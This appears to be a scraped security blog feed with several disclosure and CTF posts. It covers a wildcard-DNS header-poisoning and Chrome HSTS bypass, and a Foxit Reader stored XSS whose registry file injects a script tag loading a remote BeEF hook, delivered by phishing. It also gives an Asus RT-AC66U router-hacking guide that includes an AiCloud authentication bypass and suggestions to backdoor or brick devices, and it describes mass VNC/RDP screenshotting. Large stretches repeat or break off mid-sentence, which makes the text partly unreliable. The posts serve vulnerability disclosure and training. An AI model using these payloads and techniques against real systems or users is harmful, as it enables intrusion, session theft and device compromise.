This can also be used to poison password reset emails, but Facebook forms were not affected. They quickly fixed that by hard coding the proper URL to their e-mail confirmation system. It's also possible (but not recommended) to fix these issues by sending notifications with relative links instead of complete URL's ("please click here" instead of "please click on the specified url: www.example.com.-.zero.facebook.com").
XSS and Wildcard DNS
While searching for these issues on Google I quickly found wildcard domains like:
- https://w00t.drive.google.com
- https://w00t.script.google.com
- https://w00t.sites.google.com
In case you're wondering how to quickly find these wildcard domains, you can download and lookup for them on the scans.io datasets. You can find these references on the Reverse DNS records or by searching for SSL certificates issued to wildcard domains, like *.sites.google.com.
During my initial tests, I was unable to craft URL's using .-. inside the drive.google.com domain (got 500 error messages) and all I could do was creating URL’s like this: https://www.example.com-----www.drive.google.com.
When you browse Google Drive using this URL, upload a File to a Folder and try to Zip/Download it asking for an e-mail confirmation (“Email when ready”), the e-mail confirmation message will be like this:
The "ready for downloading" link would point to https://www.example.com-----www.drive.google.com/export-result?archiveId=REDACTED. So far no big deal, I was still unable to poison the links... And phishing yourself is not that useful =)
I kept testing different URL's until I found a weird behavior on Google DNS Servers. When typing URL's containing a domain you control followed by a certain number of "-" and the wildcard domain from Google, the resolved IP would be the one from the URL you control.
My highly sophisticated Fuzzer in action |
![]() |
XKCD's take on the bug |
- docs.google.com
- docs.sandbox.google.com
- drive.google.com
- drive.sandbox.google.com
- glass.ext.google.com
- prom-qa.sandbox.google.com
- prom-test.sandbox.google.com
- sandbox.google.com
- script.google.com
- script.sandbox.google.com
- sites.google.com
- sites.sandbox.google.com
Now that I can impersonate a Google's domain, it's possible abuse the Same Origin policy and issue requests on behalf of a logged user. lcamtuf already told us about HTTP cookies, or how not to design protocols. What happens if we control www.example.com and the logged user from drive.google.com visits the crafted URL http://www.example.com---.drive.google.com?
Request goes to legitimate site:
Requests goes to the user-controlled site, in this case my own server running nginx:
This leverages to a XSS-like attack: you have now bypassed the same origin and you can steal cookies and run scripts on the context of the site, for example.
So far so good, but what if we were performing the same tests on Google Chrome, which enforces Certificate Pinning for their domains? I didn't notice at first, but I accidentally found an issue on Chrome too: it was failing to perform the proper HSTS checks for these non-RFC compliant domains.
Other parts of the network stack were processing and fetching results from these "invalid" DNS names, but TransportSecurityState was rejecting them and therefore HSTS policies didn't apply. They simply removed the sanity checks to make TransportSecurityState more promiscuous in what it process.
You can easily reproduce this on Chrome prior to v31: proxy Chrome through OWASP ZAP (accepting its certificate), visit URL’s like https://sites.google.com and Chrome will display a “heightened security” error message. If you type URL’s like https://www-.sites.google.com or https://www-.plus.google.com Chrome offers the option to “Proceed anyway”. If you're in Turkey right now you don't need to do nothing, the Turkish Telecom does all the MITM job for you.
It's worth mentioning that when you issue a wildcard certificate for your host, it will be valid for a single level only. Certificates issued to *.google.com should not be trusted when used on domains like abc.def.google.com.
The hardcoded list of domains and pinned certificates from Chrome can be found here:
- https://src.chromium.org/viewvc/chrome/trunk/src/net/http/transport_security_state_static.json
During my analysis, I found that 55 out of 397 domains with Transport Security enabled had wildcard entries on their DNS. A nation sponsored attacker, with a valid and trusted CA could simply MITM your traffic and inject requests to these invalid domains, circumventing the HSTS policies and stealing session cookies, for example.
Google did not assign a CVE for that bug, but they fixed that within a couple of weeks. Chrome 32 and 33+ (the one that changed the SSL warning from red to yellow) are not affected by this issue.
In times of Goto fails, it was really interesting to follow the Chromium's tracker, their internal discussions, tests performed and so on. The commits fixing these issues can be found here.
Conclusion
Google and Facebook security teams were both great to deal with. The bug was quite fun as well because it was different from the traditional OWASP Top 10 issues.
And because the industry totally needs new Vulnerability terminologies, anyone willing to refer to these attacks shall name them Advanced Persistent Cross Site Wildcard Domain Header Poisoning (or simply APCSWDHP).
In case you're from NSA and want to use this technique to implant our DNS's, please use the codename CRAZY KOALA so we could better track them when the next Snowden leaks your documents.
↧
Foxit PDF Reader Stored XSS
A friend of mine was performing an external pentest recently and he started to complain that his traditional Java exploits were not being effective. He was able to map a few applications and defenses in place protecting the client's network but he still needed an initial access to start pivoting.
Basic protections like AV, application white-listing as well as more advanced ones like EMET are used to make the life of criminals (and pentesters) harder, but they're often bypassed. While discussing alternatives with my friend, he told me that the company replaced Adobe Reader after seeing lots of Security Advisories for the product. And what was the replacement? Foxit Reader:
Less advisories means that the product is more secure, right? Marc Ruef's talk about VDB management summarizes this point:
The moment I head the word Foxit Reader I remembered of an old exploit I created a long time ago. The vulnerability wasn't that critical but I knew that it would fit for the situation (and for this blog post).
As I was about to disclose it publicly I notified the vendor and waited for them to patch it. I had some problems with their security contact and had to mail them twice, but they answered after a couple of days, patching the product and releasing an advisory (no CVE is assigned for this vulnerability as the time of writing).
Security Advisory
http://www.foxitsoftware.com/support/security_bulletins.php#FRD-21
Fixed a security issue caused by the Stored XSS vulnerability when reading and displaying filenames and their paths on the “Recent Documents” section from the Start Page.
Summary
Foxit Reader 6.2.1, Foxit Enterprise Reader 6.2.1, and Foxit PhantomPDF 6.2.1 fixed a security issue caused by the Stored XSS vulnerability when reading and displaying filenames and their paths on the “Recent Documents” section from the Start Page. Attackers could tamper with the registry entry and cause the application to load malicious files.
When opening a PDF, Foxit creates a "FileX" registry entry with the document's complete path:
Foxit Reader 6.2.0.0429 and earlier
Foxit Enterprise Reader 6.2.0.0429 and earlier
Foxit PhantomPDF 6.2.0.0429 and earlier
Solution
Upgrade to Foxit Reader 6.2.1, Foxit Enterprise Reader 6.2.1, or Foxit PhantomPDF 6.2.1.
Security Process
2014-05-24: Bernardo Rodrigues found the issue;
2014-06-03: Core Security Technologies confirmed the issue;
2014-06-11: Foxit fixed the issue;
2014-07-01: Foxit released fixed version of Foxit Reader 6.2.1/Foxit Enterprise Reader 6.2.1/Foxit PhantomPDF 6.2.1.
Foxit Reader XSS + Phishing
I know, the bug does not seem to be that good and would have no use during a pentest engagement. When I first found this flaw, I could basically think of three ways to compromise the user's Foxit Reader installation:
1 - Sending a PDF with the XSS payload on the filename
That would be the ideal solution but I was unable to craft a file with the XSS payload and open it on a Windows System. Microsoft Windows won't create filenames with special chars like <, > and / so I booted my Linux VM, created a file called <plaintext>.pdf and compressed it into test.zip.
When double clicking the file on WinRAR, the OS won't open it. If we drag it to the Foxit Reader Window, the special chars are replaced and the XSS payload won't load.
I tried to use alternative encodings and different XSS vectors, but I could't exploit it properly on Windows. If you have any better idea please let me know.
2 - Send a .reg to the user and ask him to double click it
Most people won't click on executable attachments on e-mails: that's why Brazilian criminals distribute malware using CPL files, for example. Some e-mail providers like Outlook block .reg attachments, but many other services like Gmail won't block them:
Registry file blocked on Outlook:
Registry File attachment on Gmail:
3 - Embed the .reg object on a RTF or Word Document and instruct the user to run it
There's a video for this one, featuring BeEF, your favoriteBrowser PDF Reader Exploitation Framework Project =)
This is also one of the rare scenarios where you can run "localhost" exploits from BeEF, as long as the user accepts the prompted ActiveX warning:
Conclusion
You may be asking "why not embed a malware on the document?". Firstly because this is a noisy technique and most AV/whitelisting products would detect this attempt. You could also modify the user's registry to load a PAC file on the browser or use powershell scripts to bypass some restrictions, but in this case there would be no need for this blog post =)
...Well, at least there was a cool Youtube video showing a cool BeEF hook and...
Basic protections like AV, application white-listing as well as more advanced ones like EMET are used to make the life of criminals (and pentesters) harder, but they're often bypassed. While discussing alternatives with my friend, he told me that the company replaced Adobe Reader after seeing lots of Security Advisories for the product. And what was the replacement? Foxit Reader:
![]() |
Advisories for Adobe Reader and Foxit Reader listed on OSVDB (May/2014) |
The moment I head the word Foxit Reader I remembered of an old exploit I created a long time ago. The vulnerability wasn't that critical but I knew that it would fit for the situation (and for this blog post).
Security Advisory
http://www.foxitsoftware.com/support/security_bulletins.php#FRD-21
Fixed a security issue caused by the Stored XSS vulnerability when reading and displaying filenames and their paths on the “Recent Documents” section from the Start Page.
Summary
Foxit Reader 6.2.1, Foxit Enterprise Reader 6.2.1, and Foxit PhantomPDF 6.2.1 fixed a security issue caused by the Stored XSS vulnerability when reading and displaying filenames and their paths on the “Recent Documents” section from the Start Page. Attackers could tamper with the registry entry and cause the application to load malicious files.
When opening a PDF, Foxit creates a "FileX" registry entry with the document's complete path:
[HKEY_CURRENT_USER\Software\Foxit Software\Foxit Reader 6.0\Recent File List]
"File1"="C:\\w00t.pdf"
Whenever you open a document, Foxit 6.x displays the start panel on a different tab by default. All you need to do is edit the registry and place your XSS payload (or the BeEF hook) on the FileX entry:
C:\Users\Admin\Desktop>type reg.reg
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Foxit Software\Foxit Reader 6.0\Recent File List]
"File1"="C:\\w00t.pdf<script src=\"http://BEEF/hook.js\"></script>"
C:\Users\Admin\Desktop>reg import reg.reg
The operation completed successfully.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Foxit Software\Foxit Reader 6.0\Recent File List]
"File1"="C:\\w00t.pdf<script src=\"http://BEEF/hook.js\"></script>"
C:\Users\Admin\Desktop>reg import reg.reg
The operation completed successfully.
Foxit Reader 6.2.0.0429 and earlier
Foxit Enterprise Reader 6.2.0.0429 and earlier
Foxit PhantomPDF 6.2.0.0429 and earlier
Solution
Upgrade to Foxit Reader 6.2.1, Foxit Enterprise Reader 6.2.1, or Foxit PhantomPDF 6.2.1.
Security Process
2014-05-24: Bernardo Rodrigues found the issue;
2014-06-03: Core Security Technologies confirmed the issue;
2014-06-11: Foxit fixed the issue;
2014-07-01: Foxit released fixed version of Foxit Reader 6.2.1/Foxit Enterprise Reader 6.2.1/Foxit PhantomPDF 6.2.1.
Foxit Reader XSS + Phishing
I know, the bug does not seem to be that good and would have no use during a pentest engagement. When I first found this flaw, I could basically think of three ways to compromise the user's Foxit Reader installation:
1 - Sending a PDF with the XSS payload on the filename
That would be the ideal solution but I was unable to craft a file with the XSS payload and open it on a Windows System. Microsoft Windows won't create filenames with special chars like <, > and / so I booted my Linux VM, created a file called <plaintext>.pdf and compressed it into test.zip.
When double clicking the file on WinRAR, the OS won't open it. If we drag it to the Foxit Reader Window, the special chars are replaced and the XSS payload won't load.
I tried to use alternative encodings and different XSS vectors, but I could't exploit it properly on Windows. If you have any better idea please let me know.
2 - Send a .reg to the user and ask him to double click it
Most people won't click on executable attachments on e-mails: that's why Brazilian criminals distribute malware using CPL files, for example. Some e-mail providers like Outlook block .reg attachments, but many other services like Gmail won't block them:
Registry file blocked on Outlook:
Registry File attachment on Gmail:
3 - Embed the .reg object on a RTF or Word Document and instruct the user to run it
There's a video for this one, featuring BeEF, your favorite
The interesting part here is that the PDF Reader is not subject to the Same-Origin Policy and the hook can be used as reliable proxy to the internal network.
Conclusion
You may be asking "why not embed a malware on the document?". Firstly because this is a noisy technique and most AV/whitelisting products would detect this attempt. You could also modify the user's registry to load a PAC file on the browser or use powershell scripts to bypass some restrictions, but in this case there would be no need for this blog post =)
It doesn't matter how secure your product is or how much vulnerabilities were disclosed for it: if you're targeted by big Offensive players, you're certainly getting pwned. If other less sophisticated attackers want to attack you, they'll pwn you as well, because people still fall for phishing.
What makes your security posture better is how you detect and respond to these threats. I like approaches like the one described by Haifei Li & Chong Xu at CanSecWest 2014. Their talk on Exploit Detection described how "DNA comparison" can be used to flag and detect application's unusual behavior, leading to exploit discovery:
In this simple phishing scenario, Microsoft Word (and WordPad) drops a registry file on the %TEMP% folder as soon as the file is opened. This is clearly an unusual behavior and should be flagged by security solutions. This could also be used as an IOC to analyze big sets of files/documents.
David Ross made a post recently describing lots of different scenarios for XSS persistence. This is yet another XSS persistence mechanism that could be used to backdoor compromised systems, for example.
I hope you enjoyed this two page write-up about XSS, because, you know, everybody likes hearing about cool hacking techniques and...
What makes your security posture better is how you detect and respond to these threats. I like approaches like the one described by Haifei Li & Chong Xu at CanSecWest 2014. Their talk on Exploit Detection described how "DNA comparison" can be used to flag and detect application's unusual behavior, leading to exploit discovery:
Exploit Detection, Haifei Li & Chong Xu (CanSecWest 2014) |
In this simple phishing scenario, Microsoft Word (and WordPad) drops a registry file on the %TEMP% folder as soon as the file is opened. This is clearly an unusual behavior and should be flagged by security solutions. This could also be used as an IOC to analyze big sets of files/documents.
David Ross made a post recently describing lots of different scenarios for XSS persistence. This is yet another XSS persistence mechanism that could be used to backdoor compromised systems, for example.
...Well, at least there was a cool Youtube video showing a cool BeEF hook and...
↧
Hacking Asus RT-AC66U and Preparing for SOHOpelesslyBroken CTF
So it's finally July, time to pack for DEFCON, follow @defconparties on Twitter and decide which villages to visit and which talks to attend.
There's a new hacking competition this year called SOHOpelesslyBroken, presented by ISE and EFF. The objective on Track 0 is to demonstrate previously unidentified vulnerabilities in off-the-shelf consumer wireless routers. Track 1 will hold a live CTF for the duration of DEFCON. CTFs are always fun and this contest involves hacking real embedded devices, what makes it even more fun.
I'm particularly interested on the EFF Open Wireless Router, but they didn't disclose details about the device yet. According to the event rules, the ASUS RT-AC66U (HW Ver. A2) [Version 3.0.0.4.266] is one of the possible targets. As I had a spare RT-AC66U at home, I decided to write a quick guide for everyone interested in participating in this competition CTF.
recon
The first thing to do is to find the firmware and its source code. Hopefully, Asus RT-AC66U is GPL'ed and we can easily find its source online. The version used for the contest is an old one, from 2012. In order to perform a better analysis, we are going to grab the sources and the firmware from v3.0.0.4.266 and v3.0.0.4.376.1123 (the most recent one as of this writing).
Many firmware versions were published between these two releases, we can review the changelogs to find security issues:
According to the rules, we have to identify and exploit a 0-day vulnerability. We can combine different flaws with known issues in order to score points. If the vendor had silently patched an issue and you create an exploit for it, that should be scored as a valid 0-day (I'm not going to start discussing terminologies here).
Now that we have the source code, it's time to extract and audit it: The CTF Field Guide from Trail of Bits has some good resources on Auditing Source Code. You can use tools like Beyond Compare, Araxis Merge and WinMerge on Windows platforms or Meld if you're more of a Linux user.
Let's focus on the "/asuswrt/release/src/router/" directory, comparing these two folders using Meld:
There are many security advisories for this router: if you want to find 0-days you should look for disclosed vulnerabilities and exploits to avoid duplicates (believe me, this is the hardest part). Some references:
Points are deducted from your score if your exploits requires special system configurations and specific information. If you want to score lots of points, you should be targeting default services and processes.
The USB application tab on the RT-AC66U allows the user to set up a series of services like FTP, DLNA, NFS and Samba:
MiniDLNA is also a nice a target. It should be pretty easy to find vulns for the service using Zachary Cutlip's research, as he broke it multiple times.
![]()
Anotherpotentially vulnerable service is AiCloud: it links your home network to an online Web storage service and lets you access it through a mobile application:
forensic
While part of the team audits the source code, the forensics guys should be unpacking the firmware using binwalk + fmk:
You may remember binwally, the tool I developed to perform binary tree diff using fuzzy hashing. Binwalk has its own option to perform fuzzy hashing against files and directories:
Most vendors (like Asus) won't open source their entire code base. You may need to reverse proprietary drivers and binary blobs in order to find some good vulns. ACSD is a particularly interesting binary because it was removed from newer firmwares (v3.0.0.4.374.130+) due to a vuln disclosed by Jacob Holcomb:
The binaries are MIPS and Little Edian:
It's also important to learn more about the filesystem. The OpenWRT Wiki has a nice article on Flash Layouts. The MTD subsystem for Linux provides access to flash devices, creating fully functional filesystems. SSH to the device and map the mount points and partitions:
The NVRAM partition is very valuable for us because it stores all the configuration parameters. We can view its content by dumping the corresponding partition (mtd1) or by issuing the "nvram show" command:
Another interesting partition is the bootloader (pmon). It has some LZMA compressed data and the boot process provides a failsafe mechanism to recover from a bad flash.
reverse
Time to start the reversing tasks. We need some basic tools like gdb, gdbserver and strace to start debugging the binaries: we could either cross compile them or set up Optware/Entware to install prebuilt packages.
Wanduck (GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/rc/wanduck.c) is an interesting process to analyze. It starts by default and binds a pseudo HTTP server on port 18017. The HTTP server redirects every request to the main administrative interface and, for some reason, it drops requests to URL's ending with ".ico".
Let's find out why: start gdbserver on the remote target (gdbserver --multi localhost:12345 &) and connect to your debugger of choice. If you're using Ida Pro, open the binary "/sbin/wanduck" and set the processor type to "mipsrl".
Navigate to the handle_http_req function and set a breakpoint on the dst_url comparison:
Resume the process (F9) and make an HTTP request to http://192.168.1.1/x.ico. The debugger will stop at the defined breakpoint and you can now inspect the registers and the memory.
If you want to find reverse engineering targets, search for folders named "prebuilt" under "GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/". Some interesting binaries:
- /acsd/prebuilt/acsd
- /webdav_client/prebuilt/webdav_client
- /asuswebstorage/prebuilt/asuswebstorage
- /eapd/linux/prebuilt/eapd
- /nas/nas/prebuilt/nas
- /flash/prebuilt/flash
- /et/prebuilt/et
- /wps/prebuilt/wps_monitor
- /ated/prebuilt/ated
- /wlconf/prebuilt/wlconf
The mobile AiCloud app might reveal some interesting information about how the device works. If you reverse the APK or use an intercepting proxy you can identify the app's initial HTTP request:
![]()
crypto
The POST request tries to register a new Dynamic DNS using the asuscomm.com service. If we search for the term asuscomm.com on the RT-AC66U source code, we can easily find the function that generates this DDNS:
According to WikiDevi, the following OUIs are currently being used by the RT-AC66U:
- 08:60:6E (1 E, 1 W, 2011)
- 10:BF:48 (1 E, 2 W, 2011)
- 30:85:A9 (3 E, 3 W, 2011)
- 50:46:5D (1 E, 2 W, 2012)
Using this information we can map the IP address for every single router using AiCloud. Let's generate a list of all the possible MAC addresses and brute force the hostnames using this cool trick from mubix.
If you're too lazy to run these commands, you can simply search for asuscomm.com on Shodan:
AiCloud runs on ports 8082 and 443 by default. The fact that anyone can easily map the routers running this service could be very worrisome, right?
Another interesting crypto exercise is to reverse the algorithm used to generate the WPS device PIN. You can view the currently PIN and secret_code by issuing the following command: nvram show | grep -E "secret_code|wps_device_pin". Search for these variables in the source code and use this information to create you own WPS Keygen (don't forget to include a chiptune from pouet.net).
You can also test the entropy from the crypto keys generated by the device. Check the slides from the "Fast Internet-wide Scanning and its Security Applications" to gather some ideas:
web
There are so many things to test on the Web application that I'll focus on a few different approaches. The router's administrative interface has no CSRF protection. It has the traditional ping command injection and lots of XSS vectors.
The HTTP daemon is based on microhttpd. It has some basic Directory Traversal Protection on httpd.c:
We can shamelessly steal hackerfantastic's idea and test for potential bypasses (there's an extensive list of LFI tests at Seclists):
The web server has some mime handler exceptions that were "supposed to be removed":
get_webdavInfo.asp is accessible without authentication and displays lots of sensitive information from the device and the network:
We can modify the nvram variables used to display this page and backdoor the router with a XSS payload, for example.
Some sensitive operations use the nvram_get and nvram_safe_get function. Some settings are stored using the nvram_set function. If the router does not sanitize the data being stored and retrieved from the NVRAM you may perform some kind of NVRAM Injection (remember, 00, %0A, %0D and `reboot` are always there for you).
AiCloud is a *very* vulnerable service that can be easily exploited too. When you activate the service, the router starts a lighttpd daemon on port 8082 (or 443 on newer firmwares) and offers the option to share your files online. The only caveat is that the username and password screen can be bypassed by visiting the /smb/ URL (read the source, Luke):
I wrote a simple AiCloud crawler that exploits this bug on RT-AC66U v3.0.0.4.266. It lists all the files/paths from the router (including the attached USB devices).
Last, but not least, don't forget to compare the differences between the files in the www directory. This path stores all the web components and scripts used by the web application.
bonus
Why not trying to open the hardware case without voiding the warranty seal? You may need some tips from the guys at the DEFCON Tamber Evident Village.
misc (a.k.a. Conclusion)
Hacking the Asus RT-AC66U is a very good exercise for the newcomers on router hacking. Most of its source code is available online and we can easily find lots of exploits and advisories for it. You may not have noticed but we tested every single aspect of the OWASP Internet of Things Top 10. Recent rumors indicate that this router is going to be used as the base for the OWASP IoT Webgoat and the Damn Vulnerable Embedded Linux.
Some additional approaches you should be taking and that should be awarded extra points during the contest:
There are many things that I still want to write about, but I'm saving that for future posts. If you are going to participate in the SOHOpelesslyBroken CTF and find this guide useful, feel free to ping me and let's get a coffee together during DEFCON/BsidesLV/Blackhat =)
There's a new hacking competition this year called SOHOpelesslyBroken, presented by ISE and EFF. The objective on Track 0 is to demonstrate previously unidentified vulnerabilities in off-the-shelf consumer wireless routers. Track 1 will hold a live CTF for the duration of DEFCON. CTFs are always fun and this contest involves hacking real embedded devices, what makes it even more fun.
![]() |
Yes, that's my workstation =P |
recon
The first thing to do is to find the firmware and its source code. Hopefully, Asus RT-AC66U is GPL'ed and we can easily find its source online. The version used for the contest is an old one, from 2012. In order to perform a better analysis, we are going to grab the sources and the firmware from v3.0.0.4.266 and v3.0.0.4.376.1123 (the most recent one as of this writing).
- Asus RT-AC66u v3.0.0.4.266 - Firmware
- Asus RT-AC66u v3.0.0.4.266 - Source Code
- Asus RT-AC66u v3.0.0.4.376.1123 - Firmware
- Asus RT-AC66u v3.0.0.4.376.1123 - Source Code
Many firmware versions were published between these two releases, we can review the changelogs to find security issues:
According to the rules, we have to identify and exploit a 0-day vulnerability. We can combine different flaws with known issues in order to score points. If the vendor had silently patched an issue and you create an exploit for it, that should be scored as a valid 0-day (I'm not going to start discussing terminologies here).
Now that we have the source code, it's time to extract and audit it: The CTF Field Guide from Trail of Bits has some good resources on Auditing Source Code. You can use tools like Beyond Compare, Araxis Merge and WinMerge on Windows platforms or Meld if you're more of a Linux user.
Let's focus on the "/asuswrt/release/src/router/" directory, comparing these two folders using Meld:
There are many security advisories for this router: if you want to find 0-days you should look for disclosed vulnerabilities and exploits to avoid duplicates (believe me, this is the hardest part). Some references:
- ASUS RT-AC66U Remote Root (Broadcom ACSD)
- ASUS RT-N66U Router - HTTPS Directory traversal and full file access and credential disclosure vuln
- Asus RT56U Remote Command Injection
- Taking over the ASUS RT-N56U and RT-AC66U
- Dear Asus router user: You’ve been pwned, thanks to easily exploited flaw (Asusgate)
- OSVDB
Points are deducted from your score if your exploits requires special system configurations and specific information. If you want to score lots of points, you should be targeting default services and processes.
MiniDLNA is also a nice a target. It should be pretty easy to find vulns for the service using Zachary Cutlip's research, as he broke it multiple times.

Another
forensic
While part of the team audits the source code, the forensics guys should be unpacking the firmware using binwalk + fmk:
You may remember binwally, the tool I developed to perform binary tree diff using fuzzy hashing. Binwalk has its own option to perform fuzzy hashing against files and directories:
Most vendors (like Asus) won't open source their entire code base. You may need to reverse proprietary drivers and binary blobs in order to find some good vulns. ACSD is a particularly interesting binary because it was removed from newer firmwares (v3.0.0.4.374.130+) due to a vuln disclosed by Jacob Holcomb:
The binaries are MIPS and Little Edian:
It's also important to learn more about the filesystem. The OpenWRT Wiki has a nice article on Flash Layouts. The MTD subsystem for Linux provides access to flash devices, creating fully functional filesystems. SSH to the device and map the mount points and partitions:
The NVRAM partition is very valuable for us because it stores all the configuration parameters. We can view its content by dumping the corresponding partition (mtd1) or by issuing the "nvram show" command:
reverse
Time to start the reversing tasks. We need some basic tools like gdb, gdbserver and strace to start debugging the binaries: we could either cross compile them or set up Optware/Entware to install prebuilt packages.
Wanduck (GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/rc/wanduck.c) is an interesting process to analyze. It starts by default and binds a pseudo HTTP server on port 18017. The HTTP server redirects every request to the main administrative interface and, for some reason, it drops requests to URL's ending with ".ico".
Let's find out why: start gdbserver on the remote target (gdbserver --multi localhost:12345 &) and connect to your debugger of choice. If you're using Ida Pro, open the binary "/sbin/wanduck" and set the processor type to "mipsrl".
Enter the gdbserver's host and port under "Debugger / Process Options" and attach to the corresponding PID.
Resume the process (F9) and make an HTTP request to http://192.168.1.1/x.ico. The debugger will stop at the defined breakpoint and you can now inspect the registers and the memory.
If you want to find reverse engineering targets, search for folders named "prebuilt" under "GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/". Some interesting binaries:
- /acsd/prebuilt/acsd
- /webdav_client/prebuilt/webdav_client
- /asuswebstorage/prebuilt/asuswebstorage
- /eapd/linux/prebuilt/eapd
- /nas/nas/prebuilt/nas
- /flash/prebuilt/flash
- /et/prebuilt/et
- /wps/prebuilt/wps_monitor
- /ated/prebuilt/ated
- /wlconf/prebuilt/wlconf
The mobile AiCloud app might reveal some interesting information about how the device works. If you reverse the APK or use an intercepting proxy you can identify the app's initial HTTP request:

You see that strange ddns_hostname? That's a crypto task =)
The POST request tries to register a new Dynamic DNS using the asuscomm.com service. If we search for the term asuscomm.com on the RT-AC66U source code, we can easily find the function that generates this DDNS:
According to WikiDevi, the following OUIs are currently being used by the RT-AC66U:
- 08:60:6E (1 E, 1 W, 2011)
- 10:BF:48 (1 E, 2 W, 2011)
- 30:85:A9 (3 E, 3 W, 2011)
- 50:46:5D (1 E, 2 W, 2012)
Using this information we can map the IP address for every single router using AiCloud. Let's generate a list of all the possible MAC addresses and brute force the hostnames using this cool trick from mubix.
If you're too lazy to run these commands, you can simply search for asuscomm.com on Shodan:
AiCloud runs on ports 8082 and 443 by default. The fact that anyone can easily map the routers running this service could be very worrisome, right?
Another interesting crypto exercise is to reverse the algorithm used to generate the WPS device PIN. You can view the currently PIN and secret_code by issuing the following command: nvram show | grep -E "secret_code|wps_device_pin". Search for these variables in the source code and use this information to create you own WPS Keygen (don't forget to include a chiptune from pouet.net).
You can also test the entropy from the crypto keys generated by the device. Check the slides from the "Fast Internet-wide Scanning and its Security Applications" to gather some ideas:
Slides from Fast Internet-wide Scanning and its Security Applications [30c3] |
There are so many things to test on the Web application that I'll focus on a few different approaches. The router's administrative interface has no CSRF protection. It has the traditional ping command injection and lots of XSS vectors.
The HTTP daemon is based on microhttpd. It has some basic Directory Traversal Protection on httpd.c:
We can shamelessly steal hackerfantastic's idea and test for potential bypasses (there's an extensive list of LFI tests at Seclists):
The web server has some mime handler exceptions that were "supposed to be removed":
get_webdavInfo.asp is accessible without authentication and displays lots of sensitive information from the device and the network:
We can modify the nvram variables used to display this page and backdoor the router with a XSS payload, for example.
Some sensitive operations use the nvram_get and nvram_safe_get function. Some settings are stored using the nvram_set function. If the router does not sanitize the data being stored and retrieved from the NVRAM you may perform some kind of NVRAM Injection (remember, 00, %0A, %0D and `reboot` are always there for you).
AiCloud is a *very* vulnerable service that can be easily exploited too. When you activate the service, the router starts a lighttpd daemon on port 8082 (or 443 on newer firmwares) and offers the option to share your files online. The only caveat is that the username and password screen can be bypassed by visiting the /smb/ URL (read the source, Luke):
I wrote a simple AiCloud crawler that exploits this bug on RT-AC66U v3.0.0.4.266. It lists all the files/paths from the router (including the attached USB devices).
Last, but not least, don't forget to compare the differences between the files in the www directory. This path stores all the web components and scripts used by the web application.
bonus
Why not trying to open the hardware case without voiding the warranty seal? You may need some tips from the guys at the DEFCON Tamber Evident Village.
misc (a.k.a. Conclusion)
Hacking the Asus RT-AC66U is a very good exercise for the newcomers on router hacking. Most of its source code is available online and we can easily find lots of exploits and advisories for it. You may not have noticed but we tested every single aspect of the OWASP Internet of Things Top 10. Recent rumors indicate that this router is going to be used as the base for the OWASP IoT Webgoat and the Damn Vulnerable Embedded Linux.
Some additional approaches you should be taking and that should be awarded extra points during the contest:
- Rewrite the bootloader to create a backdoored dual-boot partition
- Backdoor the device in a way that firmware upgrades won't affect it
- Brick the device remotely
- Reprogram the LED to create a PONG game
There are many things that I still want to write about, but I'm saving that for future posts. If you are going to participate in the SOHOpelesslyBroken CTF and find this guide useful, feel free to ping me and let's get a coffee together during DEFCON/BsidesLV/Blackhat =)
↧
↧
Scan the Internet & Screenshot All the Things
During Defcon 22, @ErrataRob, @paulm and @Viss (mass)scanned the Internet and presented some Tips, Tricks and Results. Lots of people confronted @Viss after he posted some VNC screenshots on his Twitter timeline. He posted a follow-up article on his blog and Kashmir Hill, from Forbes, wrote an article about the exposed VNC services.
Internet scanning isn't new anymore and people are still surprised with these results. For this post, I'll share some techniques I commonly use to map and screenshot several Internet services during pentest engagements. All this could easily be adapted for other protocols and services, so let's start to Screenshot All the Things.
VNC
The easiest way to snapshot these services is to use preexisting tools and script/mod them according to your needs. In order to take screenshots from VNC, I generally use noVNC (an HTML5 VNC client) and a command line utility to capture the WebKit's rendering of a web page.
The process is pretty straightforward:
1 - Clone the noVNC project from github:
2 - Start the mini-webserver and specify the location of the VNC server you want to screenshot:
3 - Take a webpage screenshot from command line using CutyCapt, for example:
4 - Profit!!!
Now all you have to do is masscan the target for ports 5900-5910 (used by VNC), save the results on a text file and create a simple script to take the screenshots. You can also try vncsnapshot, used by @paulm during his Toorcon 2013 talk.
RDP
My tool of choice for taking snapshots of RDP services is Spark View. There's an HTML5 version for the tool available here and the process is quite similar to the VNC one:
1 - Download and install Spark View for Windows or Linux. Follow the procedure from the Admin Manual, install J2SE JDK, set the JAVA_HOME environment variable, extract, configure and compile the utils from commons-daemon-native.tar.gz. On Debian derivatives, you may need to edit SparkGateway.sh and change the source function library to "/lib/lsb/init-functions".
2 - Start the service (./SparkGateway.sh start) and test it by accessing your local IP on port 80. Remote Spark provides a live demo for their solution here.
3 - Specify the RDP server settings on the querystring and take a webpage screenshot using a command line tool. I'm going to use phantomjs + url-to-image.js for this example:
4 - Profit!!!
Some commercial tools like Nessus also connects to RDP services and captures screenshots. Taking screenshots from RDP services is very useful to fingerprint operating systems and to map/identify domains and users on the network. I always output these images to OCR tools like tesseract and gocr in order to generate wordlists and compile other useful data:
HTTP
There's nothing much to be said about Web Services screenshots. There are lots of posts covering this topic and lots of different tools, including an Nmap plugin. Some references:
- Using Nmap to Screenshot Web Service (http-screenshot.nse)
- PaulDotCom Security Weekly 295 - Tech Segment
- EyeWitness - A Web Application Triage and Info-Gathering Tool
Conclusion
I find these tips very useful to get a better view of network services. Now that reporters are getting a pretty good idea from the attackers perspective, you have no excuse to leave your curtains exposed to the Internet without a VNC password. It's also important to practice safe computing, changing default passwords and enabling Network Level Authentication for RDP services.
Internet scanning isn't new anymore and people are still surprised with these results. For this post, I'll share some techniques I commonly use to map and screenshot several Internet services during pentest engagements. All this could easily be adapted for other protocols and services, so let's start to Screenshot All the Things.
VNC
The easiest way to snapshot these services is to use preexisting tools and script/mod them according to your needs. In order to take screenshots from VNC, I generally use noVNC (an HTML5 VNC client) and a command line utility to capture the WebKit's rendering of a web page.
The process is pretty straightforward:
1 - Clone the noVNC project from github:
git clone git://github.com/kanaka/noVNC
2 - Start the mini-webserver and specify the location of the VNC server you want to screenshot:
./noVNC/utils/launch.sh --vnc 192.168.1.142:5900
3 - Take a webpage screenshot from command line using CutyCapt, for example:
